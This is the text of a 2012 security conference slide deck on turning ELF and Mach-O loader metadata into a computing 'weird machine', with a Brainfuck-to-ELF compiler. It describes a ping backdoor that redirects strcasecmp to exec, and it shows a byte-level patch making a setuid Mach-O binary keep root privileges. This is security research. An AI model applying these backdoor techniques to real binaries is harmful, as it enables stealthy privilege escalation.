The Care and Feeding of Weird Machines
Found in Executable Metadata
29C3
Dec 30, 2012

Rebecca “bx” Shapiro and Sergey Bratus
Dartmouth College
This talk in one minute

- Sergey Bratus's **Weird Machine Zoo**
- ELF/linker/loader: a weird machine specimen
- Background: how ELF is processed at runtime
- Harnessing the power of ELF Relocation entries
  - Programming with ELF metadata
  - **Brainfuck** to ELF compiler (without native code!)
- Proof-of-concept **ping backdoor**
- A taste of MACH-O
- Notes on PE
What is a weird machine?
The rise of weird machines

- Undocumented/unexpected sources of computation
  - Triggered by weird/crafted data
  - Used in exploits
- Where do we see this?
  - Return oriented programming
  - Heaps
  - Loader/linker metadata
Exploit techniques & weird machines

Normal

SQL injection
Stack smashing
XSS

Odd

ROP

Weird

Crafting DWARF
Crafting ELF
Modern heap smashing
Data as an attack vector

- Influence execution via side effects produced
  - Format string attacks
  - Changing entrypoint in executable header
  - Stack smashing
  - Overwriting C++ vptrs
- And now: metadata describing execution environment
Why attack via (meta)data?

- Previous ELF/PE work focus on crafting metadata to run injected code
- Anti-virus focus on code
- Challenging to defend against?
  - Distinguish “good” from “evil” well-formed data
  - Distinguish “expected” from “unexpected”
  - Reduce computational power
- Resulting control flow indirectly dependent on data
  - Self-obfuscating
  - Adds layers of indirection
- Are you signing your metadata?
Weird machine case study: 
Performing arbitrary computation with ELF metadata as instructions
Act I
A crash course in ELF
ELF

Executable and Linking Format

- How *nix gcc components communicate
  - Compiler (*.c) → Static linker (*.o)
  - Static linker (*.o) → Runtime loader (executable)
  - Runtime loader (exec, *.so) → dynamic linker
- PE → Windows, MACH-O → OS X/IOS
ELF file contents

- Architecture/version information
- Symbols
  - Symbol names (string table)
- Interpreter location (usually ld.so)
- Relocation Entries
- Debugging information
- Constructors/deconstructors
- Dynamic linking information
- ...
- Static/initialized data
- Code
  - Entrypoint
ELF symbol tables

- Info to (re)locate symbolic definitions and references
  - For variables/functions imported/exported
- Example symbols in libc:

<table>
<thead>
<tr>
<th>Num</th>
<th>Value</th>
<th>Size</th>
<th>Type</th>
<th>Bind</th>
<th>Vis</th>
<th>Ndx</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7407</td>
<td>0000000000376d98</td>
<td>8</td>
<td>OBJECT</td>
<td>GLOBAL</td>
<td>DEFAULT</td>
<td>31</td>
<td>stdin</td>
</tr>
<tr>
<td>7408</td>
<td>00000000000525c0</td>
<td>42</td>
<td>FUNC</td>
<td>GLOBAL</td>
<td>DEFAULT</td>
<td>12</td>
<td>putc</td>
</tr>
</tbody>
</table>

- Symbol definition for 64-bit architectures:

```c
typedef struct {
    uint32_t st_name;
    unsigned char st_info;
    unsigned char st_other;
    uint16_t st_shndx;
    Elf64_Addr st_value;
    uint64_t st_size;
} Elf64_Sym;
```
Relocation metadata

- **Where** to write **what** value at load/link time

- For amd64:
  
  ```
  typedef struct {
    Elf64_Addr r_offset;
    uint64_t r_info;
    int64_t r_addend;
  } Elf64_Rela;
  ```

- **r_info**:
  - Relocation entry type
    - `#define ELF64_R_TYPE(i) ((i) & 0xffffffff)`
  - Associated symbol table entry index
    - `#define ELF64_R_SYM(i) ((i) >> 32)`
Dynamic table

- Table of metadata used by runtime loader
- Each entry has a **type** and a **value**

```c
typedef struct {
    Elf64_Sxword d_tag;
    union {
        Elf64_Xword d_val;
        Elf64_Addr d_ptr;
    } d_un;
} Elf64_Dyn;
```

- Types of interest
  - **DT_RELA, DT_RELASZ**
    - Start and size of relocation table processed at loading
  - **DT_RELACOUNT**
  - **DT_SYM**
    - Location of dynamic symbol table
  - **DT_JMPREL, DT_PLTRELSZ**
  - **DT_PLTGOT**
GOT and PLT

**Global Offset Table and Procedure Linkage Table**

- Entry in each for dynamically-linked functions
- GOT: table of addresses
  - GOT[1] = object's link_map struct
    - How linker/loader keeps track of environment
  - GOT[2] = &_dl_fixup (dynamic linker entry)
  - Other GOT entries: &function or &<top of PLT>
- PLT contains instructions that work with GOT to invoke _dl_fixup or library function
Memory layout of a process

Executable (+ heap)

- text (code)
- relocation table entries
- symbol table entries
- dynamic table

Dynamic libraries including libc.so

* data to locate all loaded ELF objects and symbols

Stack
The heart of the linker/loader

* text (code)
* relocation table entries
* symbol table entries
* dynamic table

dynamic libraries including libc.so

* data to locate all loaded ELF objects and symbols

```c
struct link_map {
    ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
    ...
    struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
    ...
    ElfW(Dyn) *l_info[...]; /* Pointers to dynamic table entries */
    ...
};
```
The following you are about to see is architecture and libc implementation dependent. Please try this at home, but there are no guarantees it will work with your architecture/gcc toolchain. (We used Ubuntu 11.10's eglibc-2.13 on amd64)
typedef struct {
    Elf64_Addr r_offset;
    uint64_t   r_info; // contains type and symbol number
    int64_t    r_addend;
} Elf64_Rela;

- **R** → Elf64_Rela, **s** → Elf64_Sym
- **R_X86_64_COPY**
  - `memcpy(r.r_offset, s.st_value, s.st_size)`
- **R_X86_64_64**
  - `*(base+r.r_offset) = s.st_value + r.r_addend + base`
- **R_X86_64_RELATIVE**
  - `*(base+r.r_offset) = r.r_addend + base`
STT_IFUNC symbols

- Symbol value treated as a function pointer
- Function called with no arguments
- Value returned by function is patched
The language of ELF metadata

- Supported instructions:
  - Addition (add)
  - Move/copy a value (mov)
  - Jump if not zero (jnz)

- Symbol table entries act as variables coupled with metadata

- Relocation table entries act as instructions

- Instructions must be able to
  - Read/write other instructions
  - Read/write variables
  - Read/write loader's data
The language of ELF metadata

• add <dest>, <addend1>, <addend2>
• All **destinations** are specified **directly**
  • “Store result at this address”
• Types of operands
  • **Immediate** – value directly specified ($0x01)
  • **Direct** – pointer to value specified (*$0xdeadbeef$)
  • **Variable** – value is contained in “variable” (\%v)
    – “**Variable**” = symbol specified by relocation entry
  • **Variable indirect** – variable contains address of value ([$\%v$])
Mov (immediate)

- `mov <destination>, <value>`
  - `<destination>` = direct (address of destination)
  - `<value>` = immediate

**Example:** `mov *0xbeef0000, $0x04`
Mov (immediate)

- `mov <destination>, <value>`
  - `<destination>` = direct (address of destination)
  - `<value>` = immediate

Example: `mov *0xbeef0000, $0x04`

![Diagram showing the movement of addresses and values](image)

(with proper endianess)
Mov (indirect)

- `mov <destination>, <value>`
  - `<destination>` = direct (address of destination)
  - `<value>` = indirect (variable point's to value)
Mov (indirect)

Example: mov *0xbeef0000, [%foo]

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
<th>type</th>
<th>shndx</th>
<th>size</th>
</tr>
</thead>
<tbody>
<tr>
<td>foo</td>
<td>0xbeef000</td>
<td>FUNC</td>
<td>X</td>
<td>8</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>type</th>
<th>offset</th>
<th>symbol</th>
<th>addend</th>
</tr>
</thead>
<tbody>
<tr>
<td>_COPY</td>
<td>beef0008</td>
<td>foo</td>
<td>X</td>
</tr>
</tbody>
</table>

Symbol/Variable
Mov (indirect)

Example: `mov *0xbeef0000, [%foo]`

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
<th>type</th>
<th>shndx</th>
<th>size</th>
</tr>
</thead>
<tbody>
<tr>
<td>foo</td>
<td>0xbeef000</td>
<td>FUNC</td>
<td>X</td>
<td>8</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>type</th>
<th>offset</th>
<th>symbol</th>
<th>addend</th>
</tr>
</thead>
<tbody>
<tr>
<td>_COPY</td>
<td>0xbeef008</td>
<td>foo</td>
<td>X</td>
</tr>
</tbody>
</table>

0x00064000

0x00068000

0xbeef0000

0xbeef0008

0x0000000000000000

0x0000000000000000

0x0000000000000000
Addition

- add <destination>, <addend 1>, <addend 2>
  - <destination> = direct (address of destination)
  - <addend 1> = variable
  - <addend 2> = immediate
Addition

Example: `add *0xbeef0000, %add1, $0x02`
Jump if not zero

- jnz <destination>, <value>
  - <destination> = direct (address of destination)
  - <value> = direct (address of value to test)
One does not simply tell the loader to *not* process the next relocation entry...
Unconditional branches

• How relocation entries are processed

```c
do {
    struct libname_list *lnp = l->l_libname->next;
    while (__builtin_expect (lnp != NULL, 0)) {
        lnp->dont_free = 1;
        lnp = lnp->next;
    }
    if (! l->l_relocated) {
        ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
        l->l_relocated = 1;
        if (l->l_relro_size != 0)
            _dl_protect_relro (l);
    }
    l = l->l_prev;
} while (l);
```
Unconditional branches

• How relocation entries are processed

\[
do \{
    \text{struct libname_list *Inp = l->l_libname->next;}
    \text{while (__builtin_expect (Inp != NULL, 0)) {}
        \text{Inp->dont_free = 1;}
        \text{Inp = Inp->next;}
    \}
    \text{If (! l->l_relocated) {}
        \text{ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);}
        \text{l->l_relocated = 1;}
        \text{if (l->l_relo_size != 0)}
            \text{_dl_protect_relo (l);}
    \}
    \text{l = l->l_prev;}
\} \text{while (l);}\]

\text{TODO:}
- set l->l_prev = l
Unconditional branches

• How relocation entries are processed

```c
do {
    struct libname_list *lnp = l->l_libname->next;
    while (__builtin_expect (lnp != NULL, 0)) {
        lnp->dont_free = 1;
        lnp = lnp->next;
    }
    if (! l->l_relocated) {
        ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
        l->l_relocated = 1;
        if (l->l_relro_size != 0)
            _dl_protect_relro (l);
    }
    l = l->l_prev;
} while (l);
```

TODO:
- set l->l_prev = l
- fix l->l_relocated

![Diagram showing the execution flow from exec to lib0, then to lib n, libc, and ld.so](image-url)
Unconditional branches

- How relocation entries are processed

```c
do {
    struct libname_list *lnp = l->l_libname->next;
    while (__builtin_expect (lnp != NULL, 0)) {
        lnp->dont_free = 1;
        lnp = lnp->next;
    }
    if (! l->l_relocated) {
        ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
        l->l_relocated = 1;
        if (l->l_relo_size != 0)
            _dl_protect_relro (l);
    }
    l = l->l_prev;
} while (l);
```

TODO:
- set l->l_prev = l
- fix l->l_relocated
- set l->l_relo_size = 0

Diagram:
```
exec → lib 0 → ... → lib n → libc → ld.so
```
Unconditional branches

- How relocation entries are processed

```c
struct libname_list *lnp = l->l_libname->next;
while (__builtin_expect (lnp != NULL, 0)) {
    lnp->dont_free = 1;
    lnp = lnp->next;
}

if (! l->l_relocated) {
    ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
    l->l_relocated = 1;
    if (l->l_relro_size != 0)
        _dl_protect_relro (l);
}
```

TODO:
- set l->l_prev = l
- fix l->l_relocated
- set l->l_relro_size = 0
Prepare to branch

- Fix l->l_relocated
  - mov *(&l->l_buckets)), $0
  - mov *(&l->l_direct_opencount)), $0
  - mov *(&l->l_libname->next)), $(&l->l_relocated) + 4*sizeof(int))

- Set l->l_prev = l
  - mov *(&l->l_prev)), $(&l)
  - Set l->l_relo_size = 0
    - (etc)
  - Set l->l_info[DT_RELA] = &<next rel to process>
  - Update l->l_info[DT_RELASZ]
Unconditional branching: Halting relocation processing

Processing a relocation table:

```c
for (; rel < end; ++rel) {
    elf_machine_rel ( rel, &symtab);
}
```

- **end** stored on **stack**
- Set **end** < rel to force branch
Conditional branching

- Have relocation entries perform **bookkeeping**
  - Fix l->l_relocated
  - Set l->l_prev = l
  - Set l->l_relo_size = 0
  - Set l->l_info[DT_RELA] = &<next relocation entry to process>
  - Fix l->l_info[DT_RELASZ]

- Use IFUNC that points to code that **returns 0**
  - IFUNC symbols treated as ifunc **only** if st_shndx != 0
  - **Move value to test to ifunc's st_shndx**
    - mov *(&(ifunc_sym.st_shndx)), <value to test>

- Finally …. 
Jump if not zero – final step

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
<th>type</th>
<th>shndx</th>
<th>size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ifunc</td>
<td>0xf0020</td>
<td>IFUNC</td>
<td>?</td>
<td>X</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>type</th>
<th>offset</th>
<th>symbol</th>
<th>addend</th>
</tr>
</thead>
<tbody>
<tr>
<td>_64</td>
<td>0xdeadbee0</td>
<td>ifunc</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
</tbody>
</table>

```
for (; r < end; ++r) {
    elf_machine_rel (...);
}
```
Jump if not zero – final step
if zero

for (; r < end; ++r) {
  elf_machine_rel (...) ;
}
Jump if not zero – final step
if not zero

<table>
<thead>
<tr>
<th>name</th>
<th>value</th>
<th>type</th>
<th>shndx</th>
<th>size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ifunc</td>
<td>0xf0020</td>
<td>IFUNC</td>
<td>1</td>
<td>X</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>type</th>
<th>offset</th>
<th>symbol</th>
<th>addend</th>
</tr>
</thead>
<tbody>
<tr>
<td>_64</td>
<td>0xdeadbee0</td>
<td>ifunc</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
<tr>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
</tr>
</tbody>
</table>

0 < 0x68049

for (; r < end; ++r) {
  elf_machine_rel (...);
}
Other nifty tricks
Locating libraries at runtime

- Library base address stored in own link_map
- We only need to locate one link_map

Flashback to the beginning of the talk:

GOT is a table of addresses
- GOT[1] = object's link_map struct

Location of symbol:
- **DT_PLT_GOT**
  - Location of GOT
Traversing link_map structures

- To get linkmap->l_next->l_addr (load address)
- Store &GOT+8 in a register (symbol)

Variables used:
\%got = \{value: &GOT+8, size: 8, ...

Instructions:
1) mov *(\&got.value), [\%got]
2) add *(\&got.value), \%got, $0x18
3) mov *(\&got.value), [\%got]
4) mov *(\&got.value), [\%got]
Traversing link_map structures

%got = {value:&got_0x8, size: 8, ...}

1) mov *(&got.value), [%got]
2) add *(&got.value), %got, $0x18
3) mov *(&got.value), [%got]
4) mov *(&got.value), [%got]

Global Offset Table in memory

%got

&link_map

&got+0x8

exec → lib 0 → ... → lib n → libc → ld.so
Traversing link_map structures

%got = {value:&got_0x8, size: 8, ...}

1) mov *(&got.value), [%got]
2) add *(&got.value), %got, $0x18
3) mov *(&got.value), [%got]
4) mov *(&got.value), [%got]

---

GOT

?  &link_map

%got

&link_map

exec  lib 0  ...  lib n  libc  ld.so
Traversing link_map structures

%got = {value:&got_0x8, size: 8, ...}

1) mov *(&(%got.value)), [%got]
2) add *(&got.value), %got, $0x18
3) mov *(&got.value), [%got]
4) mov *(&got.value), [%got]
Traversing link_map structures

%got = {value:&got_0x8, size: 8, ...}
1) mov *((&got.value), [%got]
2) add *((&got.value), %got, $0x18
3) mov *((&got.value), [%got]
4) mov *((&got.value), [%got]
Traversing link_map structures

%got = {value:&got_0x8, size: 8, ...}

1) mov *(&got.value), [%got]
2) add *(&got.value), %got, $0x18
3) mov *(&got.value), [%got]
4) mov *(&got.value), [%got]

Base address is first field in link_map
Injecting crafted metadata

ELF executable

crafted metadata

configuration

eresi toolkit

eXecutable containing crafted metadata

exec()

Runtime LD (ld.so)

ELF Shared objects (*.so)

running process
Executable-specific configuration

- Data collected at **compile time**
  - Address of **GOT**
  - Address of gadget that **returns 0**
  - Location and value of executable's:
    - `DT_RELA`
    - `DT_RELASZ`
    - `DT_SYM`
    - `DT_JMPREL`
    - `DT_PLTRELSZ`
- Data collected by instructions at **runtime**
  - Base address of **ld.so** (and others)
  - **Stack location** (information found in ld.so's static data – auxv)
Demotime

- Built backdoor into Ubuntu's inetutils v1.8 ping
- Ping runs suid as root
- Given "-t <string>"
  - Usage: -t, --type=TYPE send TYPE packets
    - if(strcasecmp (<string>, "echo") == 0) ...
- During load-time:
  - Find location of libc, use to locate exec()
  - Overwrite strcasecmp's GOT entry with &exec()
  - Overwrite setuid()'s entry with &<ret instruction>
Demo exploit's metadata

Symbol table `.sym.p' contains 90 entries:

<table>
<thead>
<tr>
<th>Num</th>
<th>Value</th>
<th>Size</th>
<th>Type</th>
<th>Bind</th>
<th>Vis</th>
<th>Ndx</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>000000000060dff0</td>
<td>8</td>
<td>FUNC</td>
<td>LOCAL</td>
<td>DEFAULT</td>
<td>UND</td>
<td></td>
</tr>
</tbody>
</table>

Relocation section `.rela.p' at offset 0xf3a8 contains 14 entries:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Info</th>
<th>Type</th>
<th>Sym. Value</th>
<th>Sym. Name + Addend</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000060dfe0</td>
<td>002d000000006</td>
<td>R_X86_64_GLOB_DAT</td>
<td>00000000000000000000000000000000</td>
<td><strong>gmon_start</strong> + 0</td>
</tr>
<tr>
<td>00000060e9e0</td>
<td>004e000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060e9e0</td>
<td>__progname + 0</td>
</tr>
<tr>
<td>00000060e9f0</td>
<td>004b000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060e9f0</td>
<td>stdout + 0</td>
</tr>
<tr>
<td>00000060e9f8</td>
<td>0051000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060e9f8</td>
<td>__progname_full + 0</td>
</tr>
<tr>
<td>00000060ea00</td>
<td>0056000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060ea00</td>
<td>stderr + 0</td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000005</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
<tr>
<td>00000060eb40</td>
<td>0000000000001</td>
<td>R_X86_64_COPY</td>
<td>000000000060eb40</td>
<td></td>
</tr>
</tbody>
</table>

our metadata
Ping backdoor demo

(Video)
RTFC

Brainfuck-to-ELF compiler and ping backdoor at https://github.com/bx/elf-bf-tools
A look at OSX's MACH-O
MACH-O

- OSX/IOS executable and linking format
- Build proof-of-concept exploit
- Similar to ELF except metadata structure
  - And how/when relocation is processed (more power?)
- Segments
  - _PAGEZERO, _TEXT, _DATA, _LINKEDIT
  - (NONE),  R+X,  R+W,  R
- Relocation entries (binding instructions) “compressed” into bytecode (as of 10.6)
- Example:
  - SET_DYLIB_ORDINAL_IMM <# of library to search>
  - SET_SEGMENT_AND_OFFSET_ULEB <segment #> <offset>
  - SET_SYMBOL_TRAILING_FLAGS_IMM <flags> <string (name)\0>
  - DO_BIND
  - DONE
Relocation bytecode

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Opcode Description</th>
<th>Value Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00002025</td>
<td>72</td>
<td>BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB</td>
<td>segment (2)</td>
</tr>
<tr>
<td>00002026</td>
<td>40</td>
<td>uleb128</td>
<td>offset (64)</td>
</tr>
<tr>
<td>00002027</td>
<td>11</td>
<td>BIND_OPCODE_SET_DYLIB_ORDINAL_IMM</td>
<td>dylib (1)</td>
</tr>
<tr>
<td>00002028</td>
<td>40</td>
<td>BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM</td>
<td>flags (0)</td>
</tr>
<tr>
<td>00002029</td>
<td>5F6578697400</td>
<td>string</td>
<td>name (_exit)</td>
</tr>
<tr>
<td>0000202F</td>
<td>90</td>
<td>BIND_OPCODE_DO_BIND</td>
<td></td>
</tr>
<tr>
<td>00002030</td>
<td>00</td>
<td>BIND_OPCODE_DONE</td>
<td></td>
</tr>
</tbody>
</table>
Relocation instruction types

- Rebase info (processed if loaded at different base)
- Binding info (processed at loading)
- Lazy binding info (processed lazily at linking)
- Export info (for exported symbols)
Towards a MACH-O weird machine

- Inject/change relocation-entry metadata
- (optional) Copy binding instructions to new space
  - Update LD_DYLD_INFO metadata's binding info pointer and size
- Update size in _LINKEDIT section metadata
  - (Now new bytes are memory mapped)
  - (optional) Change LINKEDIT metadata to map R+W
- (No good tools for this yet – I did this all by hand)
A simple change...

- Consider code that uses setuid to drop privileges:

```c
{
    // perform privileged operations
    setuid(id); // drop root privileges
    // execute remained or program
}
```

- How can we craft metadata to prevent setuid call?
(simple setuid program)

```c
#include <stdio.h>
#include <unistd.h>
int main() {
    uid_t myeuid = geteuid();
    uid_t myuid = getuid();
    printf("Current effective uid is %d, dropping root
        privileges\n", myeuid);
    seteuid(myuid);
    myeuid = geteuid();
    printf("Current uid is %d\n", myeuid);
}
```
A simple change...

Before:

Effect: dynamic linker looks up &getuid instead of &setuid
getuid() executed instead of setuid() → root privileges remain
...has interesting consequences

$ ls -l setuid
-rwsr-sr-x 1 root staff 8848 Dec 29 21:55 setuid

$ ls -l setuid-backdoor
-rwsr-sr-x 1 root staff 8848 Dec 29 22:00 setuid-backdoor
$ xxd setuid > setuid.xxd
$ xxd setuid-backdoor > setuid-backdoor.xxd
$ diff setuid.xxd setuid-backdoor.xxd
518c518
< 0002050: 5811 405f 73 65 7465 7569 6400 9000 0000
X.@_seteuid.....
---
> 0002050: 5811 405f 67 65 7465 7569 6400 9000 0000
X.@_geteuid.....
$ xxd setuid > setuid.xxd
$ xxd setuid-backdoor > setuid-backdoor.xxd
$ diff setuid.xxd setuid-backdoor.xxd
518c518
< 0002050: 5811 405f 7365 7465 7569 6400 9000 0000
X.@@_seteuid.....
---
> 0002050: 5811 405f 6765 7465 7569 6400 9000 0000
X.@@_geteuid.....

$ ./setuid
Current effective uid is 0, dropping root privileges
Current uid is 504

$ ./setuid-backdoor
Current effective uid is 0, dropping root privileges
Current uid is 0
Quick Notes on Windows PE

- Skape's Locreate (Uniformed Vol. 6)
  - Relocation entries used as unpacker
  - Clever example of metadata weird machine
- Corkami (pe101.corkami.com)
  - In-depth study of interesting effects of crafting metadata
  - Crash loaders with crafted metadata
  - PE + PDF + ZIP combo file
Thank you

- Sergey Bratus
- Sean Smith

**Inspirations:**
- The grugg
- ERESI and Elfsh folks
- Mayhem
- Skape
Questions?

elf-bf-tools repository on github
https://github.com/bx/elf-bf-tools
@bxsays on twitter